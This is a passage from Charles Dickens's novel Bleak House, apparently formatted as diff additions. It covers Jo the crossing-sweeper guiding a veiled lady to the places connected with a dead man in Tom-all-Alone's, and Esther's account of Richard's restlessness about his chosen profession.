+even gone so far as to reply, "The head of Coavinses!" But what
+turned out to be the case? That, all that time, he had been giving
+employment to a most deserving man, that he had been a benefactor to
+Coavinses, that he had actually been enabling Coavinses to bring up
+these charming children in this agreeable way, developing these
+social virtues! Insomuch that his heart had just now swelled and the
+tears had come into his eyes when he had looked round the room and
+thought, "I was the great patron of Coavinses, and his little
+comforts were MY work!"
+
+There was something so captivating in his light way of touching these
+fantastic strings, and he was such a mirthful child by the side of
+the graver childhood we had seen, that he made my guardian smile even
+as he turned towards us from a little private talk with Mrs. Blinder.
+We kissed Charley, and took her downstairs with us, and stopped
+outside the house to see her run away to her work. I don't know where
+she was going, but we saw her run, such a little, little creature in
+her womanly bonnet and apron, through a covered way at the bottom of
+the court and melt into the city's strife and sound like a dewdrop in
+an ocean.
+
+
+
+
+CHAPTER XVI
+
+Tom-all-Alone's
+
+
+My Lady Dedlock is restless, very restless. The astonished
+fashionable intelligence hardly knows where to have her. To-day she
+is at Chesney Wold; yesterday she was at her house in town; to-morrow
+she may be abroad, for anything the fashionable intelligence can with
+confidence predict. Even Sir Leicester's gallantry has some trouble
+to keep pace with her. It would have more but that his other faithful
+ally, for better and for worse--the gout--darts into the old oak
+bed-chamber at Chesney Wold and grips him by both legs.
+
+Sir Leicester receives the gout as a troublesome demon, but still a
+demon of the patrician order. All the Dedlocks, in the direct male
+line, through a course of time during and beyond which the memory of
+man goeth not to the contrary, have had the gout. It can be proved,
+sir. Other men's fathers may have died of the rheumatism or may have
+taken base contagion from the tainted blood of the sick vulgar, but
+the Dedlock family have communicated something exclusive even to the
+levelling process of dying by dying of their own family gout. It has
+come down through the illustrious line like the plate, or the
+pictures, or the place in Lincolnshire. It is among their dignities.
+Sir Leicester is perhaps not wholly without an impression, though he
+has never resolved it into words, that the angel of death in the
+discharge of his necessary duties may observe to the shades of the
+aristocracy, "My lords and gentlemen, I have the honour to present to
+you another Dedlock certified to have arrived per the family gout."
+
+Hence Sir Leicester yields up his family legs to the family disorder
+as if he held his name and fortune on that feudal tenure. He feels
+that for a Dedlock to be laid upon his back and spasmodically
+twitched and stabbed in his extremities is a liberty taken somewhere,
+but he thinks, "We have all yielded to this; it belongs to us; it has
+for some hundreds of years been understood that we are not to make
+the vaults in the park interesting on more ignoble terms; and I
+submit myself to the compromise."
+
+And a goodly show he makes, lying in a flush of crimson and gold in
+the midst of the great drawing-room before his favourite picture of
+my Lady, with broad strips of sunlight shining in, down the long
+perspective, through the long line of windows, and alternating with
+soft reliefs of shadow. Outside, the stately oaks, rooted for ages in
+the green ground which has never known ploughshare, but was still a
+chase when kings rode to battle with sword and shield and rode
+a-hunting with bow and arrow, bear witness to his greatness. Inside,
+his forefathers, looking on him from the walls, say, "Each of us was
+a passing reality here and left this coloured shadow of himself and
+melted into remembrance as dreamy as the distant voices of the rooks
+now lulling you to rest," and hear their testimony to his greatness
+too. And he is very great this day. And woe to Boythorn or other
+daring wight who shall presumptuously contest an inch with him!
+
+My Lady is at present represented, near Sir Leicester, by her
+portrait. She has flitted away to town, with no intention of
+remaining there, and will soon flit hither again, to the confusion of
+the fashionable intelligence. The house in town is not prepared for
+her reception. It is muffled and dreary. Only one Mercury in powder
+gapes disconsolate at the hall-window; and he mentioned last night to
+another Mercury of his acquaintance, also accustomed to good society,
+that if that sort of thing was to last--which it couldn't, for a man
+of his spirits couldn't bear it, and a man of his figure couldn't be
+expected to bear it--there would be no resource for him, upon his
+honour, but to cut his throat!
+
+What connexion can there be between the place in Lincolnshire, the
+house in town, the Mercury in powder, and the whereabout of Jo the
+outlaw with the broom, who had that distant ray of light upon him
+when he swept the churchyard-step? What connexion can there have been
+between many people in the innumerable histories of this world who
+from opposite sides of great gulfs have, nevertheless, been very
+curiously brought together!
+
+Jo sweeps his crossing all day long, unconscious of the link, if any
+link there be. He sums up his mental condition when asked a question
+by replying that he "don't know nothink." He knows that it's hard to
+keep the mud off the crossing in dirty weather, and harder still to
+live by doing it. Nobody taught him even that much; he found it out.
+
+Jo lives--that is to say, Jo has not yet died--in a ruinous place
+known to the like of him by the name of Tom-all-Alone's. It is a
+black, dilapidated street, avoided by all decent people, where the
+crazy houses were seized upon, when their decay was far advanced, by
+some bold vagrants who after establishing their own possession took
+to letting them out in lodgings. Now, these tumbling tenements
+contain, by night, a swarm of misery. As on the ruined human wretch
+vermin parasites appear, so these ruined shelters have bred a crowd
+of foul existence that crawls in and out of gaps in walls and boards;
+and coils itself to sleep, in maggot numbers, where the rain drips
+in; and comes and goes, fetching and carrying fever and sowing more
+evil in its every footprint than Lord Coodle, and Sir Thomas Doodle,
+and the Duke of Foodle, and all the fine gentlemen in office, down to
+Zoodle, shall set right in five hundred years--though born expressly
+to do it.
+
+Twice lately there has been a crash and a cloud of dust, like the
+springing of a mine, in Tom-all-Alone's; and each time a house has
+fallen. These accidents have made a paragraph in the newspapers and
+have filled a bed or two in the nearest hospital. The gaps remain,
+and there are not unpopular lodgings among the rubbish. As several
+more houses are nearly ready to go, the next crash in Tom-all-Alone's
+may be expected to be a good one.
+
+This desirable property is in Chancery, of course. It would be an
+insult to the discernment of any man with half an eye to tell him so.
+Whether "Tom" is the popular representative of the original plaintiff
+or defendant in Jarndyce and Jarndyce, or whether Tom lived here when
+the suit had laid the street waste, all alone, until other settlers
+came to join him, or whether the traditional title is a comprehensive
+name for a retreat cut off from honest company and put out of the
+pale of hope, perhaps nobody knows. Certainly Jo don't know.
+
+"For I don't," says Jo, "I don't know nothink."
+
+It must be a strange state to be like Jo! To shuffle through the
+streets, unfamiliar with the shapes, and in utter darkness as to the
+meaning, of those mysterious symbols, so abundant over the shops, and
+at the corners of streets, and on the doors, and in the windows! To
+see people read, and to see people write, and to see the postmen
+deliver letters, and not to have the least idea of all that
+language--to be, to every scrap of it, stone blind and dumb! It must
+be very puzzling to see the good company going to the churches on
+Sundays, with their books in their hands, and to think (for perhaps
+Jo DOES think at odd times) what does it all mean, and if it means
+anything to anybody, how comes it that it means nothing to me? To be
+hustled, and jostled, and moved on; and really to feel that it would
+appear to be perfectly true that I have no business here, or there,
+or anywhere; and yet to be perplexed by the consideration that I AM
+here somehow, too, and everybody overlooked me until I became the
+creature that I am! It must be a strange state, not merely to be told
+that I am scarcely human (as in the case of my offering myself for a
+witness), but to feel it of my own knowledge all my life! To see the
+horses, dogs, and cattle go by me and to know that in ignorance I
+belong to them and not to the superior beings in my shape, whose
+delicacy I offend! Jo's ideas of a criminal trial, or a judge, or a
+bishop, or a government, or that inestimable jewel to him (if he only
+knew it) the Constitution, should be strange! His whole material and
+immaterial life is wonderfully strange; his death, the strangest
+thing of all.
+
+Jo comes out of Tom-all-Alone's, meeting the tardy morning which is
+always late in getting down there, and munches his dirty bit of bread
+as he comes along. His way lying through many streets, and the houses
+not yet being open, he sits down to breakfast on the door-step of the
+Society for the Propagation of the Gospel in Foreign Parts and gives
+it a brush when he has finished as an acknowledgment of the
+accommodation. He admires the size of the edifice and wonders what
+it's all about. He has no idea, poor wretch, of the spiritual
+destitution of a coral reef in the Pacific or what it costs to look
+up the precious souls among the coco-nuts and bread-fruit.
+
+He goes to his crossing and begins to lay it out for the day. The
+town awakes; the great tee-totum is set up for its daily spin and
+whirl; all that unaccountable reading and writing, which has been
+suspended for a few hours, recommences. Jo and the other lower
+animals get on in the unintelligible mess as they can. It is
+market-day. The blinded oxen, over-goaded, over-driven, never guided,
+run into wrong places and are beaten out, and plunge red-eyed and
+foaming at stone walls, and often sorely hurt the innocent, and often
+sorely hurt themselves. Very like Jo and his order; very, very like!
+
+A band of music comes and plays. Jo listens to it. So does a dog--a
+drover's dog, waiting for his master outside a butcher's shop, and
+evidently thinking about those sheep he has had upon his mind for
+some hours and is happily rid of. He seems perplexed respecting three
+or four, can't remember where he left them, looks up and down the
+street as half expecting to see them astray, suddenly pricks up his
+ears and remembers all about it. A thoroughly vagabond dog,
+accustomed to low company and public-houses; a terrific dog to sheep,
+ready at a whistle to scamper over their backs and tear out mouthfuls
+of their wool; but an educated, improved, developed dog who has been
+taught his duties and knows how to discharge them. He and Jo listen
+to the music, probably with much the same amount of animal
+satisfaction; likewise as to awakened association, aspiration, or
+regret, melancholy or joyful reference to things beyond the senses,
+they are probably upon a par. But, otherwise, how far above the human
+listener is the brute!
+
+Turn that dog's descendants wild, like Jo, and in a very few years
+they will so degenerate that they will lose even their bark--but not
+their bite.
+
+The day changes as it wears itself away and becomes dark and drizzly.
+Jo fights it out at his crossing among the mud and wheels, the
+horses, whips, and umbrellas, and gets but a scanty sum to pay for
+the unsavoury shelter of Tom-all-Alone's. Twilight comes on; gas
+begins to start up in the shops; the lamplighter, with his ladder,
+runs along the margin of the pavement. A wretched evening is
+beginning to close in.
+
+In his chambers Mr. Tulkinghorn sits meditating an application to the
+nearest magistrate to-morrow morning for a warrant. Gridley, a
+disappointed suitor, has been here to-day and has been alarming. We
+are not to be put in bodily fear, and that ill-conditioned fellow
+shall be held to bail again. From the ceiling, foreshortened
+Allegory, in the person of one impossible Roman upside down, points
+with the arm of Samson (out of joint, and an odd one) obtrusively
+toward the window. Why should Mr. Tulkinghorn, for such no reason,
+look out of window? Is the hand not always pointing there? So he does
+not look out of window.
+
+And if he did, what would it be to see a woman going by? There are
+women enough in the world, Mr. Tulkinghorn thinks--too many; they are
+at the bottom of all that goes wrong in it, though, for the matter of
+that, they create business for lawyers. What would it be to see a
+woman going by, even though she were going secretly? They are all
+secret. Mr. Tulkinghorn knows that very well.
+
+But they are not all like the woman who now leaves him and his house
+behind, between whose plain dress and her refined manner there is
+something exceedingly inconsistent. She should be an upper servant by
+her attire, yet in her air and step, though both are hurried and
+assumed--as far as she can assume in the muddy streets, which she
+treads with an unaccustomed foot--she is a lady. Her face is veiled,
+and still she sufficiently betrays herself to make more than one of
+those who pass her look round sharply.
+
+She never turns her head. Lady or servant, she has a purpose in her
+and can follow it. She never turns her head until she comes to the
+crossing where Jo plies with his broom. He crosses with her and begs.
+Still, she does not turn her head until she has landed on the other
+side. Then she slightly beckons to him and says, "Come here!"
+
+Jo follows her a pace or two into a quiet court.
+
+"Are you the boy I've read of in the papers?" she asked behind her
+veil.
+
+"I don't know," says Jo, staring moodily at the veil, "nothink about
+no papers. I don't know nothink about nothink at all."
+
+"Were you examined at an inquest?"
+
+"I don't know nothink about no--where I was took by the beadle, do
+you mean?" says Jo. "Was the boy's name at the inkwhich Jo?"
+
+"Yes."
+
+"That's me!" says Jo.
+
+"Come farther up."
+
+"You mean about the man?" says Jo, following. "Him as wos dead?"
+
+"Hush! Speak in a whisper! Yes. Did he look, when he was living, so
+very ill and poor?"
+
+"Oh, jist!" says Jo.
+
+"Did he look like--not like YOU?" says the woman with abhorrence.
+
+"Oh, not so bad as me," says Jo. "I'm a reg'lar one I am! You didn't
+know him, did you?"
+
+"How dare you ask me if I knew him?"
+
+"No offence, my lady," says Jo with much humility, for even he has
+got at the suspicion of her being a lady.
+
+"I am not a lady. I am a servant."
+
+"You are a jolly servant!" says Jo without the least idea of saying
+anything offensive, merely as a tribute of admiration.
+
+"Listen and be silent. Don't talk to me, and stand farther from me!
+Can you show me all those places that were spoken of in the account I
+read? The place he wrote for, the place he died at, the place where
+you were taken to, and the place where he was buried? Do you know the
+place where he was buried?"
+
+Jo answers with a nod, having also nodded as each other place was
+mentioned.
+
+"Go before me and show me all those dreadful places. Stop opposite to
+each, and don't speak to me unless I speak to you. Don't look back.
+Do what I want, and I will pay you well."
+
+Jo attends closely while the words are being spoken; tells them off
+on his broom-handle, finding them rather hard; pauses to consider
+their meaning; considers it satisfactory; and nods his ragged head.
+
+"I'm fly," says Jo. "But fen larks, you know. Stow hooking it!"
+
+"What does the horrible creature mean?" exclaims the servant,
+recoiling from him.
+
+"Stow cutting away, you know!" says Jo.
+
+"I don't understand you. Go on before! I will give you more money
+than you ever had in your life."
+
+Jo screws up his mouth into a whistle, gives his ragged head a rub,
+takes his broom under his arm, and leads the way, passing deftly with
+his bare feet over the hard stones and through the mud and mire.
+
+Cook's Court. Jo stops. A pause.
+
+"Who lives here?"
+
+"Him wot give him his writing and give me half a bull," says Jo in a
+whisper without looking over his shoulder.
+
+"Go on to the next."
+
+Krook's house. Jo stops again. A longer pause.
+
+"Who lives here?"
+
+"HE lived here," Jo answers as before.
+
+After a silence he is asked, "In which room?"
+
+"In the back room up there. You can see the winder from this corner.
+Up there! That's where I see him stritched out. This is the
+public-ouse where I was took to."
+
+"Go on to the next!"
+
+It is a longer walk to the next, but Jo, relieved of his first
+suspicions, sticks to the forms imposed upon him and does not look
+round. By many devious ways, reeking with offence of many kinds, they
+come to the little tunnel of a court, and to the gas-lamp (lighted
+now), and to the iron gate.
+
+"He was put there," says Jo, holding to the bars and looking in.
+
+"Where? Oh, what a scene of horror!"
+
+"There!" says Jo, pointing. "Over yinder. Among them piles of bones,
+and close to that there kitchin winder! They put him wery nigh the
+top. They was obliged to stamp upon it to git it in. I could unkiver
+it for you with my broom if the gate was open. That's why they locks
+it, I s'pose," giving it a shake. "It's always locked. Look at the
+rat!" cries Jo, excited. "Hi! Look! There he goes! Ho! Into the
+ground!"
+
+The servant shrinks into a corner, into a corner of that hideous
+archway, with its deadly stains contaminating her dress; and putting
+out her two hands and passionately telling him to keep away from her,
+for he is loathsome to her, so remains for some moments. Jo stands
+staring and is still staring when she recovers herself.
+
+"Is this place of abomination consecrated ground?"
+
+"I don't know nothink of consequential ground," says Jo, still
+staring.
+
+"Is it blessed?"
+
+"Which?" says Jo, in the last degree amazed.
+
+"Is it blessed?"
+
+"I'm blest if I know," says Jo, staring more than ever; "but I
+shouldn't think it warn't. Blest?" repeats Jo, something troubled in
+his mind. "It an't done it much good if it is. Blest? I should think
+it was t'othered myself. But I don't know nothink!"
+
+The servant takes as little heed of what he says as she seems to take
+of what she has said herself. She draws off her glove to get some
+money from her purse. Jo silently notices how white and small her
+hand is and what a jolly servant she must be to wear such sparkling
+rings.
+
+She drops a piece of money in his hand without touching it, and
+shuddering as their hands approach. "Now," she adds, "show me the
+spot again!"
+
+Jo thrusts the handle of his broom between the bars of the gate, and
+with his utmost power of elaboration, points it out. At length,
+looking aside to see if he has made himself intelligible, he finds
+that he is alone.
+
+His first proceeding is to hold the piece of money to the gas-light
+and to be overpowered at finding that it is yellow--gold. His next is
+to give it a one-sided bite at the edge as a test of its quality.
+His next, to put it in his mouth for safety and to sweep the
+step and passage with great care. His job done, he sets off for
+Tom-all-Alone's, stopping in the light of innumerable gas-lamps to
+produce the piece of gold and give it another one-sided bite as a
+reassurance of its being genuine.
+
+The Mercury in powder is in no want of society to-night, for my Lady
+goes to a grand dinner and three or four balls. Sir Leicester is
+fidgety down at Chesney Wold, with no better company than the gout;
+he complains to Mrs. Rouncewell that the rain makes such a monotonous
+pattering on the terrace that he can't read the paper even by the
+fireside in his own snug dressing-room.
+
+"Sir Leicester would have done better to try the other side of the
+house, my dear," says Mrs. Rouncewell to Rosa. "His dressing-room is
+on my Lady's side. And in all these years I never heard the step upon
+the Ghost's Walk more distinct than it is to-night!"
+
+
+
+
+CHAPTER XVII
+
+Esther's Narrative
+
+
+Richard very often came to see us while we remained in London (though
+he soon failed in his letter-writing), and with his quick abilities,
+his good spirits, his good temper, his gaiety and freshness, was
+always delightful. But though I liked him more and more the better I
+knew him, I still felt more and more how much it was to be regretted
+that he had been educated in no habits of application and
+concentration. The system which had addressed him in exactly the same
+manner as it had addressed hundreds of other boys, all varying in
+character and capacity, had enabled him to dash through his tasks,
+always with fair credit and often with distinction, but in a fitful,
+dazzling way that had confirmed his reliance on those very qualities
+in himself which it had been most desirable to direct and train. They
+were good qualities, without which no high place can be meritoriously
+won, but like fire and water, though excellent servants, they were
+very bad masters. If they had been under Richard's direction, they
+would have been his friends; but Richard being under their direction,
+they became his enemies.
+
+I write down these opinions not because I believe that this or any
+other thing was so because I thought so, but only because I did think
+so and I want to be quite candid about all I thought and did. These
+were my thoughts about Richard. I thought I often observed besides
+how right my guardian was in what he had said, and that the
+uncertainties and delays of the Chancery suit had imparted to his
+nature something of the careless spirit of a gamester who felt that
+he was part of a great gaming system.
+
+Mr. and Mrs. Bayham Badger coming one afternoon when my guardian was
+not at home, in the course of conversation I naturally inquired after
+Richard.
+
+"Why, Mr. Carstone," said Mrs. Badger, "is very well and is, I assure
+you, a great acquisition to our society. Captain Swosser used to say
+of me that I was always better than land a-head and a breeze a-starn
+to the midshipmen's mess when the purser's junk had become as tough
+as the fore-topsel weather earings. It was his naval way of
+mentioning generally that I was an acquisition to any society. I may
+render the same tribute, I am sure, to Mr. Carstone. But I--you won't
+think me premature if I mention it?"
+
+I said no, as Mrs. Badger's insinuating tone seemed to require such
+an answer.
+
+"Nor Miss Clare?" said Mrs. Bayham Badger sweetly.
+
+Ada said no, too, and looked uneasy.
+
+"Why, you see, my dears," said Mrs. Badger, "--you'll excuse me
+calling you my dears?"
+
+We entreated Mrs. Badger not to mention it.
+
+"Because you really are, if I may take the liberty of saying so,"
+pursued Mrs. Badger, "so perfectly charming. You see, my dears, that
+although I am still young--or Mr. Bayham Badger pays me the
+compliment of saying so--"
+
+"No," Mr. Badger called out like some one contradicting at a public
+meeting. "Not at all!"
+
+"Very well," smiled Mrs. Badger, "we will say still young."
+
+"Undoubtedly," said Mr. Badger.
+
+"My dears, though still young, I have had many opportunities of
+observing young men. There were many such on board the dear old
+Crippler, I assure you. After that, when I was with Captain Swosser
+in the Mediterranean, I embraced every opportunity of knowing and
+befriending the midshipmen under Captain Swosser's command. YOU never
+heard them called the young gentlemen, my dears, and probably would
+not understand allusions to their pipe-claying their weekly accounts,
+but it is otherwise with me, for blue water has been a second home to
+me, and I have been quite a sailor. Again, with Professor Dingo."
+
+"A man of European reputation," murmured Mr. Badger.
+
+"When I lost my dear first and became the wife of my dear second,"
+said Mrs. Badger, speaking of her former husbands as if they were
+parts of a charade, "I still enjoyed opportunities of observing
+youth. The class attendant on Professor Dingo's lectures was a large
+one, and it became my pride, as the wife of an eminent scientific man
+seeking herself in science the utmost consolation it could impart, to
+throw our house open to the students as a kind of Scientific
+Exchange. Every Tuesday evening there was lemonade and a mixed
+biscuit for all who chose to partake of those refreshments. And there
+was science to an unlimited extent."
+
+"Remarkable assemblies those, Miss Summerson," said Mr. Badger
+reverentially. "There must have been great intellectual friction
+going on there under the auspices of such a man!"
+
+"And now," pursued Mrs. Badger, "now that I am the wife of my dear
+third, Mr. Badger, I still pursue those habits of observation which
+were formed during the lifetime of Captain Swosser and adapted to new
+and unexpected purposes during the lifetime of Professor Dingo. I
+therefore have not come to the consideration of Mr. Carstone as a
+neophyte. And yet I am very much of the opinion, my dears, that he
+has not chosen his profession advisedly."
+
+Ada looked so very anxious now that I asked Mrs. Badger on what she
+founded her supposition.
+
+"My dear Miss Summerson," she replied, "on Mr. Carstone's character
+and conduct. He is of such a very easy disposition that probably he
+would never think it worth-while to mention how he really feels, but
+he feels languid about the profession. He has not that positive
+interest in it which makes it his vocation. If he has any decided
+impression in reference to it, I should say it was that it is a
+tiresome pursuit. Now, this is not promising. Young men like Mr.
+Allan Woodcourt who take it from a strong interest in all that it can
+do will find some reward in it through a great deal of work for a
+very little money and through years of considerable endurance and
+disappointment. But I am quite convinced that this would never be the
+case with Mr. Carstone."
+
+"Does Mr. Badger think so too?" asked Ada timidly.
+
+"Why," said Mr. Badger, "to tell the truth, Miss Clare, this view of
+the matter had not occurred to me until Mrs. Badger mentioned it. But
+when Mrs. Badger put it in that light, I naturally gave great
+consideration to it, knowing that Mrs. Badger's mind, in addition to
+its natural advantages, has had the rare advantage of being formed by
+two such very distinguished (I will even say illustrious) public men
+as Captain Swosser of the Royal Navy and Professor Dingo. The
+conclusion at which I have arrived is--in short, is Mrs. Badger's
+conclusion."
+
+"It was a maxim of Captain Swosser's," said Mrs. Badger, "speaking in
+his figurative naval manner, that when you make pitch hot, you cannot
+make it too hot; and that if you only have to swab a plank, you
+should swab it as if Davy Jones were after you. It appears to me that
+this maxim is applicable to the medical as well as to the nautical
+profession.
+
+"To all professions," observed Mr. Badger. "It was admirably said by
+Captain Swosser. Beautifully said."
+
+"People objected to Professor Dingo when we were staying in the north
+of Devon after our marriage," said Mrs. Badger, "that he disfigured
+some of the houses and other buildings by chipping off fragments of
+those edifices with his little geological hammer. But the professor
+replied that he knew of no building save the Temple of Science. The
+principle is the same, I think?"
+
+"Precisely the same," said Mr. Badger. "Finely expressed! The
+professor made the same remark, Miss Summerson, in his last illness,
+when (his mind wandering) he insisted on keeping his little hammer
+under the pillow and chipping at the countenances of the attendants.
+The ruling passion!"
+
+Although we could have dispensed with the length at which Mr. and
+Mrs. Badger pursued the conversation, we both felt that it was
+disinterested in them to express the opinion they had communicated to
+us and that there was a great probability of its being sound. We
+agreed to say nothing to Mr. Jarndyce until we had spoken to Richard;
+and as he was coming next evening, we resolved to have a very serious
+talk with him.
+
+So after he had been a little while with Ada, I went in and found my
+darling (as I knew she would be) prepared to consider him thoroughly
+right in whatever he said.
+
+"And how do you get on, Richard?" said I. I always sat down on the
+other side of him. He made quite a sister of me.
+
+"Oh! Well enough!" said Richard.
+
+"He can't say better than that, Esther, can he?" cried my pet
+triumphantly.
+
+I tried to look at my pet in the wisest manner, but of course I
+couldn't.
+
+"Well enough?" I repeated.
+
+"Yes," said Richard, "well enough. It's rather jog-trotty and
+humdrum. But it'll do as well as anything else!"
+
+"Oh! My dear Richard!" I remonstrated.
+
+"What's the matter?" said Richard.
+
+"Do as well as anything else!"
+
+"I don't think there's any harm in that, Dame Durden," said Ada,
+looking so confidingly at me across him; "because if it will do as
+well as anything else, it will do very well, I hope."
+
+"Oh, yes, I hope so," returned Richard, carelessly tossing his hair
+from his forehead. "After all, it may be only a kind of probation
+till our suit is--I forgot though. I am not to mention the suit.
+Forbidden ground! Oh, yes, it's all right enough. Let us talk about
+something else."
+
+Ada would have done so willingly, and with a full persuasion that we
+had brought the question to a most satisfactory state. But I thought
+it would be useless to stop there, so I began again.
+
+"No, but Richard," said I, "and my dear Ada! Consider how important
+it is to you both, and what a point of honour it is towards your
+cousin, that you, Richard, should be quite in earnest without any
+reservation. I think we had better talk about this, really, Ada. It
+will be too late very soon."
+
+"Oh, yes! We must talk about it!" said Ada. "But I think Richard is
+right."
+
+What was the use of my trying to look wise when she was so pretty,
+and so engaging, and so fond of him!
+
+"Mr. and Mrs. Badger were here yesterday, Richard," said I, "and they
+seemed disposed to think that you had no great liking for the
+profession."
+
+"Did they though?" said Richard. "Oh! Well, that rather alters the
+case, because I had no idea that they thought so, and I should not
+have liked to disappoint or inconvenience them. The fact is, I don't
+care much about it. But, oh, it don't matter! It'll do as well as
+anything else!"
+
+"You hear him, Ada!" said I.
+
+"The fact is," Richard proceeded, half thoughtfully and half
+jocosely, "it is not quite in my way. I don't take to it. And I get
+too much of Mrs. Bayham Badger's first and second."
+
+"I am sure THAT'S very natural!" cried Ada, quite delighted. "The
+very thing we both said yesterday, Esther!"
+
+"Then," pursued Richard, "it's monotonous, and to-day is too like
+yesterday, and to-morrow is too like to-day."
+
+"But I am afraid," said I, "this is an objection to all kinds of
+application--to life itself, except under some very uncommon
+circumstances."
+
+"Do you think so?" returned Richard, still considering. "Perhaps! Ha!
+Why, then, you know," he added, suddenly becoming gay again, "we
+travel outside a circle to what I said just now. It'll do as well as
+anything else. Oh, it's all right enough! Let us talk about something
+else."
+
+But even Ada, with her loving face--and if it had seemed innocent and
+trusting when I first saw it in that memorable November fog, how much
+more did it seem now when I knew her innocent and trusting
+heart--even Ada shook her head at this and looked serious. So I
+thought it a good opportunity to hint to Richard that if he were
+sometimes a little careless of himself, I was very sure he never
+meant to be careless of Ada, and that it was a part of his
+affectionate consideration for her not to slight the importance of a
+step that might influence both their lives. This made him almost
+grave.
+
+"My dear Mother Hubbard," he said, "that's the very thing! I have
+thought of that several times and have been quite angry with myself
+for meaning to be so much in earnest and--somehow--not exactly being
+so. I don't know how it is; I seem to want something or other to
+stand by. Even you have no idea how fond I am of Ada (my darling
+cousin, I love you, so much!), but I don't settle down to constancy
+in other things. It's such uphill work, and it takes such a time!"
+said Richard with an air of vexation.
+
+"That may be," I suggested, "because you don't like what you have
+chosen."
+
+"Poor fellow!" said Ada. "I am sure I don't wonder at it!"
+
+No. It was not of the least use my trying to look wise. I tried
+again, but how could I do it, or how could it have any effect if I
+could, while Ada rested her clasped hands upon his shoulder and while
+he looked at her tender blue eyes, and while they looked at him!
+
+"You see, my precious girl," said Richard, passing her golden curls
+through and through his hand, "I was a little hasty perhaps; or I
+misunderstood my own inclinations perhaps. They don't seem to lie in
+that direction. I couldn't tell till I tried. Now the question is
+whether it's worth-while to undo all that has been done. It seems
+like making a great disturbance about nothing particular."
+
+"My dear Richard," said I, "how CAN you say about nothing
+particular?"
+
+"I don't mean absolutely that," he returned. "I mean that it MAY be
+nothing particular because I may never want it."
+
+Both Ada and I urged, in reply, not only that it was decidedly
+worth-while to undo what had been done, but that it must be undone. I
+then asked Richard whether he had thought of any more congenial
+pursuit.
+
+"There, my dear Mrs. Shipton," said Richard, "you touch me home. Yes,
+I have. I have been thinking that the law is the boy for me."
+
+"The law!" repeated Ada as if she were afraid of the name.
+
+"If I went into Kenge's office," said Richard, "and if I were placed
+under articles to Kenge, I should have my eye on the--hum!--the
+forbidden ground--and should be able to study it, and master it, and
+to satisfy myself that it was not neglected and was being properly
+conducted. I should be able to look after Ada's interests and my own
+interests (the same thing!); and I should peg away at Blackstone and
+all those fellows with the most tremendous ardour."
+
+I was not by any means so sure of that, and I saw how his hankering
+after the vague things yet to come of those long-deferred hopes cast
+a shade on Ada's face. But I thought it best to encourage him in any
+project of continuous exertion, and only advised him to be quite sure
+that his mind was made up now.
+
+"My dear Minerva," said Richard, "I am as steady as you are. I made a
+mistake; we are all liable to mistakes; I won't do so any more, and
+I'll become such a lawyer as is not often seen. That is, you know,"
+said Richard, relapsing into doubt, "if it really is worth-while,
+after all, to make such a disturbance about nothing particular!"
+
+This led to our saying again, with a great deal of gravity, all that
+we had said already and to our coming to much the same conclusion
+afterwards. But we so strongly advised Richard to be frank and open
+with Mr. Jarndyce, without a moment's delay, and his disposition was
+naturally so opposed to concealment that he sought him out at once
+(taking us with him) and made a full avowal. "Rick," said my
+guardian, after hearing him attentively, "we can retreat with honour,
+and we will. But we must be careful--for our cousin's sake, Rick, for
+our cousin's sake--that we make no more such mistakes. Therefore, in
+the matter of the law, we will have a good trial before we decide. We
+will look before we leap, and take plenty of time about it."
+
+Richard's energy was of such an impatient and fitful kind that he
+would have liked nothing better than to have gone to Mr. Kenge's
+office in that hour and to have entered into articles with him on the
+spot. Submitting, however, with a good grace to the caution that we
+had shown to be so necessary, he contented himself with sitting down
+among us in his lightest spirits and talking as if his one unvarying
+purpose in life from childhood had been that one which now held
+possession of him. My guardian was very kind and cordial with him,
+but rather grave, enough so to cause Ada, when he had departed and we
+were going upstairs to bed, to say, "Cousin John, I hope you don't
+think the worse of Richard?"
+
+"No, my love," said he.
+
+"Because it was very natural that Richard should be mistaken in such
+a difficult case. It is not uncommon."
+
+"No, no, my love," said he. "Don't look unhappy."
+
+"Oh, I am not unhappy, cousin John!" said Ada, smiling cheerfully,
+with her hand upon his shoulder, where she had put it in bidding him
+good night. "But I should be a little so if you thought at all the
+worse of Richard."
+
+"My dear," said Mr. Jarndyce, "I should think the worse of him only
+if you were ever in the least unhappy through his means. I should be
+more disposed to quarrel with myself even then, than with poor Rick,
+for I brought you together. But, tut, all this is nothing! He has
+time before him, and the race to run. I think the worse of him? Not
+I, my loving cousin! And not you, I swear!"
+
+"No, indeed, cousin John," said Ada, "I am sure I could not--I am
+sure I would not--think any ill of Richard if the whole world did. I
+could, and I would, think better of him then than at any other time!"
+
+So quietly and honestly she said it, with her hands upon his
+shoulders--both hands now--and looking up into his face, like the
+picture of truth!
+
+"I think," said my guardian, thoughtfully regarding her, "I think it
+must be somewhere written that the virtues of the mothers shall
+occasionally be visited on the children, as well as the sins of the
+father. Good night, my rosebud. Good night, little woman. Pleasant
+slumbers! Happy dreams!"
+
+This was the first time I ever saw him follow Ada with his eyes with
+something of a shadow on their benevolent expression. I well
+remembered the look with which he had contemplated her and Richard
+when she was singing in the firelight; it was but a very little while
+since he had watched them passing down the room in which the sun was
+shining, and away into the shade; but his glance was changed, and
+even the silent look of confidence in me which now followed it once
+more was not quite so hopeful and untroubled as it had originally
+been.
+
+Ada praised Richard more to me that night than ever she had praised
+him yet. She went to sleep with a little bracelet he had given her
+clasped upon her arm. I fancied she was dreaming of him when I kissed
+her cheek after she had slept an hour and saw how tranquil and happy
+she looked.
+
+For I was so little inclined to sleep myself that night that I sat up
+working. It would not be worth mentioning for its own sake, but I was
+wakeful and rather low-spirited. I don't know why. At least I don't
+think I know why. At least, perhaps I do, but I don't think it
+matters.
+
+At any rate, I made up my mind to be so dreadfully industrious that I
+would leave myself not a moment's leisure to be low-spirited. For I
+naturally said, "Esther! You to be low-spirited. YOU!" And it really
+was time to say so, for I--yes, I really did see myself in the glass,
+almost crying. "As if you had anything to make you unhappy, instead
+of everything to make you happy, you ungrateful heart!" said I.
+
+If I could have made myself go to sleep, I would have done it
+directly, but not being able to do that, I took out of my basket some
+ornamental work for our house (I mean Bleak House) that I was busy
+with at that time and sat down to it with great determination. It was
+necessary to count all the stitches in that work, and I resolved to
+go on with it until I couldn't keep my eyes open, and then to go to
+bed.
+
+I soon found myself very busy. But I had left some silk downstairs in
+a work-table drawer in the temporary growlery, and coming to a stop
+for want of it, I took my candle and went softly down to get it. To
+my great surprise, on going in I found my guardian still there, and
+sitting looking at the ashes. He was lost in thought, his book lay
+unheeded by his side, his silvered iron-grey hair was scattered
+confusedly upon his forehead as though his hand had been wandering
+among it while his thoughts were elsewhere, and his face looked worn.
